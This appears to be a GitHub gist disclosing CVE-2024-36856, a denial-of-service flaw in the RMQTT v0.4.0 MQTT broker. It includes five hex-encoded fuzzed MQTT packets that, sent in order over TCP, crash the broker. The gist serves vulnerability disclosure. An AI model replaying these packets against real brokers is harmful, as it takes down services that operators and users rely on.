Skip to content

Instantly share code, notes, and snippets.

@pengwGit
Last active June 12, 2024 02:24
Show Gist options
  • Save pengwGit/d8410afeb0d5d11ab79f596a32178c2e to your computer and use it in GitHub Desktop.
Save pengwGit/d8410afeb0d5d11ab79f596a32178c2e to your computer and use it in GitHub Desktop.
CVE-2024-36856
[CVE ID]
CVE-2024-36856
[Product]
RMQTT v0.4.0
[Problem Type]
DoS
[Description]
An issue in RMQTT v0.4.0 allows attackers to cause a Denial of Service.
[Affected Component]
Directly causing the entire broker to collapse and unable to provide normal services
[Attack Vectors]
Firstly, based on the mqtt protocol and fuzz testing, randomly generate a specified data packet sequence:
packet 1: 102200044d5154540402003c0016374d304b4b54615049377a347946474c4a656f6d5047102200044d5154540402003c0016374d304b4b54615049377a347946474c4a656f6d5047
packet 2: 102d00044d5154540480349c000c4638635a7077503463645368001341736937456266504c396a57714e373165635a70021e11
packet 3: 103500064d514973647003401eb7001d72634632454d534a6f4b7069366b55673555346c45694d50496d46766100086a345472706b5066
packet 4: 104300064d51497364700380359b00165950307a73316b413570666234704a316c3848697853001d373545754461656d57385369494d595447364664735663675a30543146f0184316150002586316000e59414b4653646c4b4558496c6531d0009008772a46bce2d23f26d000
packet 5: 10cd0100044d51545405840813171500093749336e494a4e6437213c90221c54274bd6698b001468537656623669566a62734b4e70596b7a387a6543030018304a564f30464d364f693179544166536b7048326471465218e89ef58c26000c596970554d7963714e70773200124278517a71633477435969536d6672784d63001a6d554848497238415a567046334d7579747739346e68634e636e0016494c704d7073436842494f345554716539674734774d001b79754751583067326d46634d6a5367426d5a61356c355064447643
Secondly, based TCP/IP,the packets are sent to the rmqtt broker in sequence.
Finally, check the broker status and find that the broker crashed and disconnected.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment